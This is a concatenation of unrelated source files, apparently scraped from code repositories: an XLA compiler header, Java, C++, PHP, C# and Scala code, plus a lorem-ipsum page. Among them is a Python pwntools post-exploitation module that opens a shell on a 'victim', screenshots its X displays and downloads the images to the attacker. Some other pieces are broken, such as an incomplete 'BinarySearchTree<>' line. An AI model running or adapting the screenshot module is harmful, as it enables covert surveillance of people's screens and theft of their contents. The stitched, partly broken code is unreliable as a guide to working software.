text:
#ifndef TENSORFLOW_COMPILER_XLA_SERVICE_GPU_TREE_REDUCTION_REWRITER_H_
#define TENSORFLOW_COMPILER_XLA_SERVICE_GPU_TREE_REDUCTION_REWRITER_H_

#include <utility>

#include "absl/strings/string_view.h"
#include "tensorflow/compiler/xla/service/hlo_module.h"
#include "tensorflow/compiler/xla/service/hlo_pass_interface.h"
#include "tensorflow/compiler/xla/statusor.h"

namespace xla {
namespace gpu {

// Rewrites reductions in a way they can be implemented without atomics.
//
// Rule application: rewrite a single HLO reduce operation into two.
//
// Case 1: Row reduction, batched dimension is present, larger than
// Z-tiling size.
// -----------------------------------------------------------------
//
// Rewriting:
//
// f32[B] out = reduce(f32[A, B, C] input, dimensions={0, 2})
//
// Into:
//
// f32[A, B] tmp = reduce(f32[A, B, C] input, dimensions={2})
// f32[B] out = reduce(f32[A, B] tmp, dimensions={0})
//
// Case 2: Row reduction
// ------------------------------------------------------------------
//
// Let M be the thread tiling multiplied by the warp size.
// We go from (assuming C > M):
//
// f32[B] out = reduce(f32[A, B, C] input, dimensions={0, 2})
//
// to:
//
// f32[A, B, P] padded = pad(input) // Let P = ceil(C/M) * M.
// f32[A, B, Q, M] reshaped = bitcast(padded) // Let Q = ceil(C/M)
// f32[B, Q] inner_reduce = reduce(reshaped, dimensions={0, 3})
// f32[B] outer_reduce = reduce(inner_reduce, dimensions={1})
//
// Case 3: Column reduction
// -------------------------------------------------------------------
//
// Let T be the tiling size for the column reduction.
//
// We go from (assuming B > T):
//
// f32[A, C] out = reduce(f32[A, B, C] input, dimensions={1})
//
// to:
//
// f32[A, P, C] padded = pad(input) // Let P = ceil(B/T) * T.
// f32[A, Q, T, C] reshaped = bitcast(padded) // Let Q = ceil(B/T)
// f32[A, Q, C] inner_reduce = reduce(reshaped, dimensions={2})
// f32[A, C] outer_reduce = reduce(inner_reduce, dimensions={1})
//
class GpuTreeReductionRewriter : public HloModulePass {
 public:
  explicit GpuTreeReductionRewriter(
      se::CudaComputeCapability cuda_compute_capability)
      : cuda_compute_capability_(cuda_compute_capability) {}

  ~GpuTreeReductionRewriter() override = default;
  absl::string_view name() const override {
    return "gpu-tree-reduction-rewriter";
  }

  using HloPassInterface::Run;
  StatusOr<bool> Run(
      HloModule* module,
      const absl::flat_hash_set<absl::string_view>& execution_threads) override;

 private:
  se::CudaComputeCapability cuda_compute_capability_;
};

}  // end namespace gpu
}  // end namespace xla

#endif  // TENSORFLOW_COMPILER_XLA_SERVICE_GPU_TREE_REDUCTION_REWRITER_H_

redpajama_set_name: RedPajamaGithub


text:
enum class Gender {
    FEMALE,
    MALE
};


text:
package com.comverse.timesheet.web.server.test;

import java.net.InetSocketAddress;
import java.nio.ByteOrder;

import org.apache.mina.core.buffer.IoBuffer;
import org.apache.mina.core.filterchain.DefaultIoFilterChainBuilder;
import org.apache.mina.core.future.ConnectFuture;
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.core.session.IoSession;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.transport.socket.nio.NioSocketConnector;

import com.comverse.timesheet.web.server.codec.LogMessageCodecFactory;
import com.comverse.timesheet.web.server.impl.Constants;
import com.comverse.timesheet.web.server.message.AdminLogMessage;
import com.comverse.timesheet.web.server.message.AuditLogMessage;
import com.comverse.timesheet.web.server.message.DeviceLogMessage;
import com.comverse.timesheet.web.server.util.BinaryHelper;

public class SyslogClient extends IoHandlerAdapter implements Runnable{
	private IoSession session=null;
    public void sessionOpened(IoSession session) throws Exception {
    	this.session=session;
    	new Thread(this).start();
    }
    private static final byte[]LEVEL={0x10,0x20,0x30,0x40,0x50,0x60};
    private static final char[]WORDS={'我','你','他'};
    private static String getRandomString(int len){
    	StringBuffer sb=new StringBuffer();
    	for(int i=0;i<len;i++){
    		sb.append(WORDS[(int)(3*Math.random())]);
    	}
    	return sb.toString();
    }
    public void run(){
    	System.out.println(this.getClass().getName()+" start...");
    	while(true){
    		if(session==null || session.isClosing()){
    			break;
    		}

			IoBuffer buffer = IoBuffer.allocate(2048).setAutoExpand(true);
			buffer.order(ByteOrder.BIG_ENDIAN);
				buffer.put(new byte[5]);

				buffer.put((byte)0xFE);
				buffer.putLong(0xFEFEFEFEFEFEFEFEL);
				buffer.put((byte)0xFE);
				buffer.putUnsignedShort(0x0C);
				buffer.flip();
				session.write(buffer);

    		AdminLogMessage admlm=new AdminLogMessage();
    		admlm.setId(System.currentTimeMillis());
    		admlm.setTime(System.currentTimeMillis());
    		admlm.setAccount(getRandomString((int)(Math.random()*32)));
    		admlm.setIp(BinaryHelper.intToIpString((int)(System.currentTimeMillis())));
    		admlm.setLevel(LEVEL[(int)(System.currentTimeMillis()%6)]);
    		admlm.setDesc(getRandomString((int)(Math.random()*1000)));
    		session.write(admlm);

    		DeviceLogMessage dlm=new DeviceLogMessage();
    		dlm.setId(System.currentTimeMillis());
    		dlm.setTime(System.currentTimeMillis());
    		dlm.setLevel(LEVEL[(int)(System.currentTimeMillis()%6)]);
    		dlm.setDeviceName(getRandomString((int)(Math.random()*32)));
    		dlm.setIp(BinaryHelper.intToIpString((int)(System.currentTimeMillis())));
    		dlm.setDesc(getRandomString((int)(Math.random()*1000)));

    		session.write(dlm);

    		AuditLogMessage alm=new AuditLogMessage();
    		alm.setId(System.currentTimeMillis());
    		alm.setTime(System.currentTimeMillis());
    		alm.setLevel(LEVEL[(int)(System.currentTimeMillis()%6)]);
    		alm.setSessionId(System.currentTimeMillis());
    		alm.setApplicationId((int)(System.currentTimeMillis()%10));
    		alm.setProtocolId((int)(System.currentTimeMillis()%40));
    		alm.setsIp(BinaryHelper.intToIpString((int)(System.currentTimeMillis())));
    		alm.setdIp(BinaryHelper.intToIpString((int)(System.currentTimeMillis())));
    		alm.setDesc(getRandomString((int)(Math.random()*1000)));
    		session.write(alm);

    		try {
				Thread.sleep(1000L);
			} catch (InterruptedException e) {
			}
    	}
    	System.out.println(this.getClass().getName()+" end ...");
    }

   @Override
   public void messageReceived(IoSession session, Object message)
           throws Exception {
       System.out.println("message = " + message);
   }

   @Override
   public void sessionClosed(IoSession session) throws Exception {
       session.close();
       this.session=null;
   }
	public static void main(String[] args) {
	       // 创建一个socket连接
        NioSocketConnector connector=new NioSocketConnector();
        // 获取过滤器链
        DefaultIoFilterChainBuilder chain=connector.getFilterChain();

        // 添加编码过滤器 处理乱码、编码问题
        chain.addLast("objectFilter",new ProtocolCodecFilter(new LogMessageCodecFactory()));
        // 消息核心处理器
        connector.setHandler(new SyslogClient());
        // 设置链接超时时间
        connector.setConnectTimeoutCheckInterval(30);
        // 连接服务器,知道端口、地址
        //ConnectFuture cf = connector.connect(new InetSocketAddress("192.168.1.199",10000+Constants.SYSLOG_SERVER_DEFAULT_PORT));
        ConnectFuture cf = connector.connect(new InetSocketAddress("localhost",10000+Constants.SYSLOG_SERVER_DEFAULT_PORT));
        //ConnectFuture cf = connector.connect(new InetSocketAddress("192.168.8.222",Constants.SYSLOG_SERVER_PORT));
        // 等待连接创建完成
        cf.awaitUninterruptibly();
        cf.getSession().getCloseFuture().awaitUninterruptibly();
        connector.dispose();
	}

}


text:
from pwn import *
import misc.coloredstatus as cs
from time import sleep
import os

waitforcapture = 1

def execute(session, configs, params):
    download_dir = configs["DownloadDirectory"] + session.host + "/"

    try:
        if "no" in str(session.which("import"), "UTF-8"):
            print(cs.error, "Victim does not have dependency: import")
            return 2

        shell = session.shell("/bin/bash")
        for i in range(0, 3):
            shell.sendline("(DISPLAY=:" + str(i) + " && export DISPLAY && import -window root /tmp/ss.png 2> /dev/null) || echo payloadfailed")
            if "payloadfailed" not in str(shell.recvrepeat(0.2), "UTF-8"):
                sleep(waitforcapture)
                shell.close()

                os.system("mkdir -p " + download_dir)
                session.download_file("/tmp/ss.png", download_dir + "ss.png")
                os.system("mv " + download_dir + "ss.png " + download_dir + "ss_$(date +'%Y-%m-%d-%T').png")
                return 0
            else:
                pass
    except:
        return 2

    return 2


text:
// constructor and public method
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.FileReader;
import java.io.File;

class Test {
    BufferedReader br;
    public Test(File file) {
        br = new BufferedReader(new FileReader(file));
    }

    public void doTest() {
        br.readLine();
    }
}


text:
import java.util.ArrayList;

public class tester
{

    public static void main(String[] args)
    {

	//boolean variables to turn on tests we actually want to run
	boolean testa = false; //set variable to run first test of project 1
	boolean testb = false;
	boolean part1aTest = false;
	boolean part1bTest = false;

	//my own personal test
	if( testa)
	{

	    // TODO Auto-generated method stub

	    //		create our sample array, an easy test. We
	    //		will do a random array later;

	    int vals[] = {4, 2, 6, 8, 9, 5, 1, 3};

	    /**
	     * create our object for testing
	     */
	    BinarySearchTree<Integer> treeTest1 = new BinarySearchTree<Integer>();

	    for ( int i = 0; i < vals.length; i++ )
	    {
		treeTest1.insert(vals[i]);
	    }

	    //check that the height function is working properly

	    String heightMessage = "The height of the tree is ";
	    System.out.println(heightMessage + treeTest1.height() + "\n \n");

	    String bst_heading = "Binary Search Tree";
	    printBST_Tree(treeTest1, bst_heading);

	}

	if ( part1aTest )
	{

	    //Perform the requirements of the assignment below

	    BinarySearchTree<Integer> treeTest2 = new BinarySearchTree<Integer>();

	    //generate a binary tree that is height 5
	    while(treeTest2.height() != 5)
	    {
		treeTest2.makeEmpty();
		//place items into Binary Tree
		for(int i = 0; i < 32; i++)
		{
		    int valueToPutInTree = (int)(Math.random()*100);
		    if(valueToPutInTree >= 10)
		    {
			treeTest2.insert(valueToPutInTree);
		    }

		}
	    }

	    //print the tree
	    String bst_heading = "Binary Search Tree of Height 5";
	    printBST_Tree(treeTest2, bst_heading);

	    //repeatably delete the root node
	    //System.out.print("/n/n continually deleting root and printing tree /n/n");
	    bst_heading = "Binary Search tree root deleting ";

	    while( !treeTest2.isEmpty())
	    {
		int rootVal = treeTest2.getRoot().getData();
		treeTest2.remove(rootVal);

		printBST_Tree(treeTest2, bst_heading + rootVal );

	    }
	}

	//personal avl test
	if( testb )
	{
	    int vals[] = {20, 15, 25, 12, 16, 17, 18, 19};

	    AvlNode<Integer> avlTree = new AvlNode<Integer>();

	    for( int i = 0; i < vals.length; i++)
	    {
		avlTree.insert(vals[i]);
		System.out.print("\n\n height is " + avlTree.height() + "\n\n");
		printBST_Tree(avlTree, "AVL tree");
	    }

	}

	if ( part1bTest )
	{

	    //Part 1 B AVL tree testing

	    int[] avlVals = new int[35];

	    //System.out.println("values to insert: ");

	    for( int i = 0; i < 35; i++ )
	    {
		int insertVal = (int)(Math.random()*100);
		while (insertVal < 10 )
		{
		    insertVal = (int)(Math.random()*100);
		}
		avlVals[i] = insertVal;
		//System.out.print(insertVal + "\n");
	    }

	    //insert into our avl tree

	    AvlNode<Integer> avlTree = new AvlNode<Integer>();

	    for( int i = 0; i < 35; i++)
	    {
		avlTree.insert(avlVals[i]);
		printBST_Tree(avlTree, "Printing Tree");
	    }

	    //delete root node until tree empty

	    System.out.print ("\n\n Deleting the tree now \n\n");

	    while(!avlTree.isEmpty())
	    {
		avlTree.remove(avlTree.getRoot().getData());
		printBST_Tree(avlTree, "Deleting Tree");
	    }

	}

	boolean part2 = true;

	if( part2 )
	{
	    final int[] N = {1000, 10000, 100000, 1000000};

	    int[][] treeVals = new int[N.length][N[3]];

	    //double[] treeVals = new double[100000];
	    for(int j = 0; j < N.length; j++)
	    {

		insertRandomNums( treeVals[j], N[j]);

		//insert vals into BST tree
		BinarySearchTree<>
		for(int i = 0; i < N[0]; i++)
		{

		    //System.out.print(treeVals[j][i] + "\n");
		}

	    }

	}

    }

    public static void printBST_Tree(BinarySearchTree<Integer> tree, String heading)
    {

	TreePrinter treePrintObj2 = new TreePrinter(tree);
	treePrintObj2.print(heading);
    }

    public static void insertRandomNums( int[] arry, int maxVal )
    {
	for( int i = 0; i < maxVal; i++ )
	{
	    int insertVal = (int)( Math.random()*maxVal);
	    while (insertVal < 10 )
	    {
		insertVal = (int)( Math.random()*maxVal);
	    }
	    arry[i] = insertVal;
	    //System.out.print(insertVal + "\n");
	}
	//return arry;
    }

}


text:
// Server2_Test.cpp : Defines the entry point for the console application.
//

/*
	****************** IMPORTANT NOTE ****************

	* This test eventually dead-locks when running under a debugger, both release and debug versions.
	If you run this test program outside the debugger, it runs without a dead-lock.
*/

#include "stdafx.h"
#include <stdio.h>

#include "Debug/Assert.h"
#include "Network/Server.h"
#include "Network/Client.h"
#include "Network/FileSocket.h"
#include "Standard/Time.h"
#include "Standard/Test.h"

const char * SERVER_ADDRESS = "localhost";
const int	 SERVER_PORT = 9010;

//----------------------------------------------------------------------------

class TestServer : public Server
{
public:
	// Construction
	TestServer()
	{}

	// Server interface
	void onConnect( dword client )
	{
		printf( "TestServer::onConnect %u / %u\n", client, clientCount() );

		//TRACE( String().format("TestServer::onConnect(), client = %u, address = %s", client, clientAddress( client ) ) );
		if ( (rand() % 100) > 75 )
		{
			printf( "TestServer::onConnect, rejecting client %u\n", client );

			removeClient( client );
			send( client, 2 ) << String("This is a test" );
		}
	}
	void onReceive( dword client, byte message, InStream & input )
	{
		//TRACE( String().format("TestServer::onReceive(), client = %u", client ) );

		switch( message )
		{
		case 0:
			{
				int size = 512;
				byte * pBytes = new byte[ size ];

				try {
					input.read( pBytes, size );
				}
				catch( FileSocket::FileError )
				{
					//ASSERT( 0 );
				}

				delete [] pBytes;

				send( client, 1 );
			}
			break;
		}

	}
	void onDisconnect( dword client )
	{
		//printf( "TestServer::onDisconnect %u\n", client );
		//TRACE( String().format("TestServer::onDisconnect(), client = %u", client) );

		send( client, 2 ) << String("This is a test" );
	}
	void onReject( Socket * pConnection )
	{
		//TRACE( "TestServer::onReject()" );
	}

	// Mutators
	bool start()
	{
		return Server::start( Socket::create( "SocketWSC" ), SERVER_PORT, 128 );
	}
};

//----------------------------------------------------------------------------

class TestClient : public Client
{
public:
	// Construction
	TestClient() : m_Connected( false ), m_nThreadId( 0 ), m_nClientId( 0 )
	{}

	int		m_nThreadId;
	int		m_nClientId;

	// Client interface
	void onConnect()
	{
		printf( "TestClient::onConnect %d / %d\n", m_nThreadId, m_nClientId );

		m_Connected = true;

		int size = 512;
		byte * pBytes = new byte[ size ];
		for(int i=0;i<size;i++)
			pBytes[i] = rand();

		send( 0x0 ).write( pBytes, size );

		delete [] pBytes;
	}

	void onReceive( byte message, InStream & input )
	{
		switch( message )
		{
		case 1:
			close();
			break;
		}
	}

	void onDisconnect()
	{
		printf( "TestClient::onDisconnect %d / %d\n", m_nThreadId, m_nClientId );

		//TRACE( "TestClient::onDisconnect()" );
		m_Connected = false;
	}

	// Accessors
	bool connected() const
	{
		return m_Connected;
	}

	// Mutators
	bool open()
	{
		printf( "TestClient::open %d / %d\n", m_nThreadId, m_nClientId );
		return Client::open( Socket::create( "SocketWSC" ), SERVER_ADDRESS, SERVER_PORT );
	}
	void close()
	{
		printf( "TestClient::close %d / %d\n", m_nThreadId, m_nClientId );
		Client::close();
	}

private:
	// Data
	bool		m_Connected;
};

//----------------------------------------------------------------------------

const int CLIENT_COUNT = 4;
const int TEST_COUNT = 2000000;

class TestThread : public Thread
{
public:
	// Construction
	TestThread() : m_Running( true ), m_nThreadId( 0 )
	{}

	int		m_nThreadId;

	// Thread interface
	int run()
	{
		printf( "TestThread %d running...\n", m_nThreadId );

		srand( Time::milliseconds() );

		TestClient clients[ CLIENT_COUNT ];
		for(int i=0;i<CLIENT_COUNT;i++)
		{
			clients[i].m_nThreadId = m_nThreadId;
			clients[i].m_nClientId = i + 1;
		}

		for(i=0;i<TEST_COUNT;i++)
		{
			for(int j=0;j<CLIENT_COUNT;j++)
				if (! clients[j].connected() )
					clients[ j ].open();
				else
					clients[ j ].close();

			Thread::sleep( 500 );
		}

		printf( "TestThread %d stopping...\n", m_nThreadId );
		m_Running = false;
		return 0;
	}

	bool m_Running;
};

//----------------------------------------------------------------------------

const int THREAD_COUNT = 4;
const int GARBAGE_SIZE = 256;

int main(int argc, char* argv[])
{
	int i;

	// start the server
	TestServer server;
	Test( server.start() );

	TestThread threads[ THREAD_COUNT ];
	for(i=0;i<THREAD_COUNT;i++)
	{
		threads[i].m_nThreadId = i + 1;
		threads[i].resume();
	}

	bool done = false;
	while(! done )
	{
		Thread::sleep( 5000 );

		done = true;
		for(i=0;i<THREAD_COUNT && done;i++)
			if ( threads[i].m_Running )
				done = false;
	}

	return 0;
}


text:
class Bright_ContFx : public TStandardRasterFx, public TDoubleParamObserver {
  FX_PLUGIN_DECLARATION(Bright_ContFx)

  TRasterFxPort m_input;
  TDoubleParamP m_bright;
  TDoubleParamP m_contrast;

public:
  Bright_ContFx() : m_bright(127.5), m_contrast(50.0) {
    addParam("brightness", m_bright);
    addParam("contrast", m_contrast);
    m_bright->setValueRange(0, 255);
    m_contrast->setValueRange(0, 100);
    addPort("Source", m_input);
  }

  ~Bright_ContFx(){};

  // TParamObserver method
  void onChange(const TParamChange &change) { notify(TFxParamChange(change)); }

  bool getBBox(double frame, TRectD &bBox, TPixel32 &bgColor) {
    return m_input->getBBox(frame, bBox, bgColor);
  };

  void compute(TTile &tile, double frame, const TRasterFxRenderInfo *);

  TRect getInvalidRect(const TRect &max);
};
#endif


text:
<?php namespace JetMinds\Job\Models;

use Str;
use URL;
use Model;
use Cms\Classes\Theme;
use Cms\Classes\Page as CmsPage;
use JetMinds\Job\Models\Vacancy;

/**
 * Category Model
 */
class Category extends Model
{
    use \October\Rain\Database\Traits\Validation;
    use \October\Rain\Database\Traits\NestedTree;

    /**
     * @var string The database table used by the model.
     */
    public $table = 'jetminds_job_categories';

    public $implement = [
        '@RainLab.Translate.Behaviors.TranslatableModel',
    ];

    public $translatable = [
        'name',
        ['slug', 'index' => true],
        'code' => 'unique:jetminds_job_categories',
        'description'
    ];

    public $rules = [
        'name' => 'required',
        'slug' => ['required', 'regex:/^[a-z0-9\/\:_\-\*\[\]\+\?\|]*$/i', 'unique:jetminds_job_categories'],
    ];

    /**
     * @var array Guarded fields
     */
    protected $guarded = ['*'];

    /**
     * @var array Fillable fields
     */
    protected $fillable = [];

    /**
     * @var array Relations
     */
    public $hasOne = [];
    public $hasMany = [];
    public $belongsTo = [];
    public $belongsToMany = [
        'vacancies' => [
            'JetMinds\Job\Models\Vacancy',
            'table'    => 'jetminds_job_vacancies_categories',
            'order' => 'published_at desc',
            'scope' => 'isPublished'
        ],
    ];
    public $morphTo = [];
    public $morphOne = [];
    public $morphMany = [];
    public $attachOne = [];
    public $attachMany = [];

    public function beforeValidate()
    {
        // Generate a URL slug for this model
        if (!$this->exists && !$this->slug) {
            $this->slug = Str::slug($this->name);
        }
    }

    public function afterDelete()
    {
        $this->vacancies()->detach();
    }

    public function getVacancyCountAttribute()
    {
        return $this->vacancies()->count();
    }

    /**
     * Sets the "url" attribute with a URL to this object
     * @param string $pageName
     * @param Cms\Classes\Controller $controller
     */
    public function setUrl($pageName, $controller)
    {
        $params = [
            'id'   => $this->id,
            'slug' => $this->slug,
        ];

        return $this->url = $controller->pageUrl($pageName, $params);
    }

    /**
     * Returns an array with possible parent categories.
     *
     * If we are in create mode (no id) all categories are returned.
     * If an id is set, we need to exclude the current node itself to
     * prevent an infinite parent-child relationship.
     *
     * @return array
     */
    public function getParentOptions()
    {
        $options = [
            // null key for "no parent"
            null => trans('jetminds.job::lang.models.category.fields.parent.empty'),
        ];

        // In edit mode, exclude the node itself.
        $items = $this->id ? Category::withoutSelf()->get() : Category::getAll();
        $items->each(function ($item) use (&$options) {
            return $options[$item->id] = sprintf('%s %s', str_repeat('--', $item->getLevel()), $item->name);
        });

        return $options;
    }

    /**
     * Handler for the pages.menuitem.getTypeInfo event.
     * Returns a menu item type information. The type information is returned as array
     * with the following elements:
     * - references - a list of the item type reference options. The options are returned in the
     *   ["key"] => "title" format for options that don't have sub-options, and in the format
     *   ["key"] => ["title"=>"Option title", "items"=>[...]] for options that have sub-options. Optional,
     *   required only if the menu item type requires references.
     * - nesting - Boolean value indicating whether the item type supports nested items. Optional,
     *   false if omitted.
     * - dynamicItems - Boolean value indicating whether the item type could generate new menu items.
     *   Optional, false if omitted.
     * - cmsPages - a list of CMS pages (objects of the Cms\Classes\Page class), if the item type requires a CMS page reference to
     *   resolve the item URL.
     * @param string $type Specifies the menu item type
     * @return array Returns an array
     */
    public static function getMenuTypeInfo($type)
    {
        $result = [];

        if ($type == 'job-category') {
            $result = [
                'references'   => self::listSubCategoryOptions(),
                'nesting'      => true,
                'dynamicItems' => true
            ];
        }

        if ($type == 'all-job-categories') {
            $result = [
                'dynamicItems' => true
            ];
        }

        if ($result) {
            $theme = Theme::getActiveTheme();

            $pages = CmsPage::listInTheme($theme, true);
            $cmsPages = [];
            foreach ($pages as $page) {
                if (!$page->hasComponent('jobVacancies')) {
                    continue;
                }

                /*
                 * Component must use a category filter with a routing parameter
                 * eg: categoryFilter = "{{ :somevalue }}"
                 */
                $properties = $page->getComponentProperties('jobVacancies');
                if (!isset($properties['categoryFilter']) || !preg_match('/{{\s*:/', $properties['categoryFilter'])) {
                    continue;
                }

                $cmsPages[] = $page;
            }

            $result['cmsPages'] = $cmsPages;
        }

        return $result;
    }

    protected static function listSubCategoryOptions()
    {
        $category = self::getNested();

        $iterator = function($categories) use (&$iterator) {
            $result = [];

            foreach ($categories as $category) {
                if (!$category->children) {
                    $result[$category->id] = $category->name;
                }
                else {
                    $result[$category->id] = [
                        'title' => $category->name,
                        'items' => $iterator($category->children)
                    ];
                }
            }

            return $result;
        };

        return $iterator($category);
    }

    /**
     * Handler for the pages.menuitem.resolveItem event.
     * Returns information about a menu item. The result is an array
     * with the following keys:
     * - url - the menu item URL. Not required for menu item types that return all available records.
     *   The URL should be returned relative to the website root and include the subdirectory, if any.
     *   Use the URL::to() helper to generate the URLs.
     * - isActive - determines whether the menu item is active. Not required for menu item types that
     *   return all available records.
     * - items - an array of arrays with the same keys (url, isActive, items) + the title key.
     *   The items array should be added only if the $item's $nesting property value is TRUE.
     * @param \RainLab\Pages\Classes\MenuItem $item Specifies the menu item.
     * @param \Cms\Classes\Theme $theme Specifies the current theme.
     * @param string $url Specifies the current page URL, normalized, in lower case
     * The URL is specified relative to the website root, it includes the subdirectory name, if any.
     * @return mixed Returns an array. Returns null if the item cannot be resolved.
     */
    public static function resolveMenuItem($item, $url, $theme)
    {
        $result = null;

        if ($item->type == 'job-category') {
            if (!$item->reference || !$item->cmsPage) {
                return;
            }

            $category = self::find($item->reference);
            if (!$category) {
                return;
            }

            $pageUrl = self::getCategoryPageUrl($item->cmsPage, $category, $theme);
            if (!$pageUrl) {
                return;
            }

            $pageUrl = URL::to($pageUrl);

            $result = [];
            $result['url'] = $pageUrl;
            $result['isActive'] = $pageUrl == $url;
            $result['mtime'] = $category->updated_at;

            if ($item->nesting) {
                $categories = $category->getNested();
                $iterator = function($categories) use (&$iterator, &$item, &$theme, $url) {
                    $branch = [];

                    foreach ($categories as $category) {

                        $branchItem = [];
                        $branchItem['url'] = self::getCategoryPageUrl($item->cmsPage, $category, $theme);
                        $branchItem['isActive'] = $branchItem['url'] == $url;
                        $branchItem['title'] = $category->name;
                        $branchItem['mtime'] = $category->updated_at;

                        if ($category->children) {
                            $branchItem['items'] = $iterator($category->children);
                        }

                        $branch[] = $branchItem;
                    }

                    return $branch;
                };

                $result['items'] = $iterator($categories);
            }
        }
        elseif ($item->type == 'all-job-categories') {
            $result = [
                'items' => []
            ];

            $categories = self::orderBy('name')->get();
            foreach ($categories as $category) {
                $categoryItem = [
                    'title' => $category->name,
                    'url'   => self::getCategoryPageUrl($item->cmsPage, $category, $theme),
                    'mtime' => $category->updated_at,
                ];

                $categoryItem['isActive'] = $categoryItem['url'] == $url;

                $result['items'][] = $categoryItem;
            }
        }

        return $result;
    }

    /**
     * Returns URL of a category page.
     */
    protected static function getCategoryPageUrl($pageCode, $category, $theme)
    {
        $page = CmsPage::loadCached($theme, $pageCode);
        if (!$page) {
            return;
        }

        $properties = $page->getComponentProperties('jobVacancies');
        if (!isset($properties['categoryFilter'])) {
            return;
        }

        /*
         * Extract the routing parameter name from the category filter
         * eg: {{ :someRouteParam }}
         */
        if (!preg_match('/^\{\{([^\}]+)\}\}$/', $properties['categoryFilter'], $matches)) {
            return;
        }

        $paramName = substr(trim($matches[1]), 1);
        $url = CmsPage::url($page->getBaseFileName(), [$paramName => $category->slug]);

        return $url;
    }
}


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Linq;
using Excel = Microsoft.Office.Interop.Excel;
using Office = Microsoft.Office.Core;
using Microsoft.Office.Tools.Excel;

namespace VSTO_DisplayStringInCell
{
    public partial class ThisAddIn
    {
       private void ThisAddIn_Startup(object sender, System.EventArgs e)
        {

            string FilePath = @"..\..\..\..\Sample Files\";
            string fileName = FilePath + "DisplayStringInCell.xlsx";
            Excel.Workbook myWorkbook = this.Application.Workbooks.Open(fileName);
            Excel.Worksheet mySheet = myWorkbook.ActiveSheet;

            Excel.Range cells = mySheet.Cells;
            cells.set_Item(1, 1, "Some Text");

        }

        private void ThisAddIn_Shutdown(object sender, System.EventArgs e)
        {
        }

        #region VSTO generated code

        /// <summary>
        /// Required method for Designer support - do not modify
        /// the contents of this method with the code editor.
        /// </summary>
        private void InternalStartup()
        {
            this.Startup += new System.EventHandler(ThisAddIn_Startup);
            this.Shutdown += new System.EventHandler(ThisAddIn_Shutdown);
        }

        #endregion
    }
}


text:
layout: page
title: Nicole Briggs's 63rd Birthday
date: 2016-05-24
author: Kenneth Boyer
tags: weekly links, java
status: published
summary: Nulla elementum justo vulputate, congue felis.
banner: images/banner/meeting-01.jpg
booking:
  startDate: 07/01/2018
  endDate: 07/05/2018
  ctyhocn: TYSPMHX
  groupCode: NB6B
published: true
---
Sed dignissim diam sit amet sollicitudin mollis. Etiam ex enim, tempus id aliquam in, aliquam vel odio. Aliquam in eleifend velit. Sed elementum luctus velit, fringilla dapibus odio hendrerit eget. Duis sed interdum odio, in semper purus. Fusce id erat lacinia, finibus tellus a, scelerisque purus. Curabitur sit amet urna ac risus fermentum luctus non non orci. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam a ultrices ante. Mauris aliquam bibendum mi sed consectetur. Aliquam erat volutpat. Nulla semper imperdiet est, a scelerisque ligula lacinia feugiat. Cras venenatis velit nec purus convallis sollicitudin. Nulla purus elit, efficitur eu libero at, euismod vestibulum magna. Morbi quis augue ultrices, sodales nibh in, molestie arcu.

* Maecenas ut ex sit amet eros vestibulum porttitor in non ligula
* Nulla mollis velit eu tortor dictum, ut tempus orci sagittis
* Duis a dui a urna feugiat aliquam.

Morbi quis aliquet elit. Nunc aliquam quam eget neque mollis, nec bibendum risus consectetur. Nam elementum erat vehicula leo sodales dapibus ut quis erat. Donec porta ac orci in dictum. Maecenas quis metus congue, porta felis quis, laoreet metus. Donec placerat feugiat felis et mattis. Curabitur efficitur suscipit sem. Praesent id urna euismod, auctor dolor sit amet, facilisis libero. Nunc velit erat, euismod non interdum ut, euismod at mauris. Proin accumsan nunc ac metus tempor molestie. Donec volutpat mi hendrerit dui blandit, at sollicitudin metus elementum. Praesent ut turpis et metus laoreet varius et vel ante.


text:
package datomisca

import java.util.UUID

/** Regroups most basic [[http://docs.datomic.com/javadoc/datomic/Peer.html datomic.Peer]] functions.
  *
  * The most important is `connect(uri: String)` which builds a [[Connection]]
  * being the entry point for all operations on DB.
  *
  * ''Actually, you need an implicit [[Connection]] in your scope in order to be
  * able to use Datomic Scala facilities.''
  *
  * {{{
  * implicit val conn = Datomic.connection("datomic:mem://mydatabase")
  * }}}
  */
private[datomisca] trait PeerOps {
  /** Builds a Connection from URI
    *
    * In order to benefit from Datomic facilities based on implicit [[Connection]],
    * you should put a connection in an implicit val in your scope.
    * You can also use [[Connection]] explicitly.
    *
    * {{{
    * implicit val conn = Datomic.connection("datomic:mem://mydatabase")
    * }}}
    *
    * @param uri The URI of Datomic DB
    * @return Connection
    */
  def connect(uri: String): Connection =
    new Connection(datomic.Peer.connect(uri))

  /** The database associated to the implicit connection
    * {{{
    * implicit conn = Datomic.connect("datomic:mem://mydatabase")
    * database.transact(...)
    * }}}
    */
  def database()(implicit conn: Connection): Database = conn.database()

  /** Creates a new database using uri
    * @param uri the Uri of the DB
    * @return true/false for success
    */
  def createDatabase(uri: String): Boolean = datomic.Peer.createDatabase(uri)

  /** Deletes an existing database using uri
    * @param uri the URI of the DB
    * @return true/false for success
    */
  def deleteDatabase(uri: String): Boolean = datomic.Peer.deleteDatabase(uri)

  /** Returns the partition of this entity id
    *
    * (Copied from Datomic docs)
    *
    * @param entityId
    * @return the partition of the given entity id
    */
  def part[T](entityId: T)(implicit ev: AsPermanentEntityId[T]): Long =
    datomic.Peer.part(ev.conv(entityId)).asInstanceOf[Long]

  /** Renames an existing database using uri
    * @param uri the URI of the DB
    * @param newName the new name
    * @return true/false for success
    */
  def renameDatabase(uri: String, newName: String): Boolean = datomic.Peer.renameDatabase(uri, newName)

  /** Shutdown all Peer resources.
    * Copied from Datomic Javadoc: This method should be called as part of clean
    * shutdown of a JVM process.
    * Will release all Connections, and, if shutdownClojure is true, will release
    * Clojure resources. Programs written in Clojure can set shutdownClojure to
    * false if they manage Clojure resources (e.g. agents) outside of Datomic;
    * programs written in other JVM languages should typically set shutdownClojure
    * to true.
    */
  def shutdown(shutdownClojure: Boolean): Unit = datomic.Peer.shutdown(shutdownClojure)

  /** Constructs a semi-sequential UUID useful for creating UUIDs that don't fragment indexes
    *
    * (Copied from Datomic docs)
    *
    * @return a UUID whose most signigicant 32 bits are currentTimeMillis rounded to seconds
    */
  def squuid(): UUID =
    datomic.Peer.squuid()

  /** Get the time part of a squuid
    *
    * (Copied from Datomic docs)
    *
    * @param squuid a UUID created by squuid()
